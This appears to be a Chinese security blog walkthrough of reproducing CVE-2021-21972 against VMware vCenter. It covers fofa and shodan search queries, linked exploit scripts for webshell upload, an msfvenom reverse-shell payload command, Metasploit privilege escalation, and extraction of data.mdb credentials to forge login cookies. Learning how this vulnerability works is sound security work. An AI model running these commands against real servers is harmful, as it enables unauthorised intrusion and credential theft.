前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-21972-VMware vCenter漏洞学习

CVE-2021-21972-VMware vCenter漏洞学习

作者头像
乌鸦安全
发布2022-12-30 14:34:36
1.5K0
发布2022-12-30 14:34:36
举报
文章被收录于专栏:乌鸦安全

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

更新时间:2022.07.17

说明

参考文档:https://mp.weixin.qq.com/s/0gg5TDEtL3lCb9pOnm42gg

1. VMware vCenter

Vcenter一般指VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了IT管理员对虚拟环境的控制,Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。

vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。

2. 漏洞版本识别

代码语言:javascript
复制
/sdk/vimServiceVersions.xml

3. 搜索语法

3.1 fofa

代码语言:javascript
复制
app="vmware-vCenter"
或者 title="+ ID_VC_Welcome +"

3.2 shodan

代码语言:javascript
复制
http.title:"+ ID_VC_Welcome +"

4. CVE-2021-21972漏洞复现

该漏洞获得的shell默认权限是用户权限,不是root权限,需要提权才可以访问mdb文件。提权方法为sudo提权,有概率提不下来,比较繁琐。

4.1 漏洞说明

该漏洞为任意文件上传漏洞。

可以使用下面这个句子检测返回状态码是否为405,如果是405的情况下则证明大概率存在漏洞。

可以使用该工具进行扫描测试:

代码语言:javascript
复制
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC

image.png

4.1 影响版本

代码语言:javascript
复制
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n

5. 漏洞搭建(略)

参考资料:https://blog.csdn.net/z136370204/article/details/111719373

6. 漏洞复现

6.1 漏洞扫描

代码语言:javascript
复制
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC

扫描就是一个玄学。。。。

也可以使用nuclei来进行扫描。

6.2 getshell

代码语言:javascript
复制
https://github.com/NS-Sp4ce/CVE-2021-21972

使用方法:

代码语言:javascript
复制
python3 CVE-2021-21972.py -url https://xxxxx

攻击脚本至少需要写120次,寻找真实的绝对路径,受网络问题影响较大,如果写入成功,就会直接回显shell地址。

冰蝎连接:

7. 提权

因为当前权限过低,无法直接获取cookie伪造所需要的mdb文件,因此先进行提权:

代码语言:javascript
复制
Linux photon-machine 4.4.110-2.ph1 #1-photon SMP Wed Jan 10 23:27:15 UTC 2018 x86_64 GNU/Linux
代码语言:javascript
复制
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf > a.elf

7.1 msf提权

反弹回来一个shell,然后使用msf的模块建议提权:

代码语言:javascript
复制
run post/multi/recon/local_exploit_suggester

在这里会给出一个sudo提权的建议,直接run就行了:

最后会创建一个root权限的账号密码。

7.2 其他的提权

有些情况可以成功。当然,还可以通过以下脚本进行提权:

代码语言:javascript
复制
https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
https://github.com/worawit/CVE-2021-3156/blob/main/exploit_defaults_mailer.py)

8. cookie伪造登录

在这里拿到shell之后,需要对其进行伪造登录:

获取data.mdb,默认位置:

代码语言:javascript
复制
windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
linux:/storage/db/vmware-vmdir/data.mdb

8.1 mdb数据获取

因为现在拿到的是root权限,所以在这里直接通过python起一个服务,直接将mdb下载到本地进行解析,也可以直接将脚本上传上去解析,两个方法的脚本略有不同:

代码语言:javascript
复制
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py

这个脚本直接上传到靶机上去就可以用了:

代码语言:javascript
复制
 python vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb

或者将数据下载下来:

8.2 cookie获取登录

访问:https://127.0.0.1/

在此界面下,访问cookie

然后访问https://127.0.0.1/ui,回车等待:

等待一会,不管cookie等如何加载,等着就行:

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-12-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 说明
  • 1. VMware vCenter
  • 2. 漏洞版本识别
  • 3. 搜索语法
    • 3.1 fofa
      • 3.2 shodan
      • 4. CVE-2021-21972漏洞复现
        • 4.1 漏洞说明
          • 4.1 影响版本
          • 5. 漏洞搭建(略)
          • 6. 漏洞复现
            • 6.1 漏洞扫描
              • 6.2 getshell
              • 7. 提权
                • 7.1 msf提权
                  • 7.2 其他的提权
                  • 8. cookie伪造登录
                    • 8.1 mdb数据获取
                      • 8.2 cookie获取登录
                      相关产品与服务
                      脆弱性检测服务
                      脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档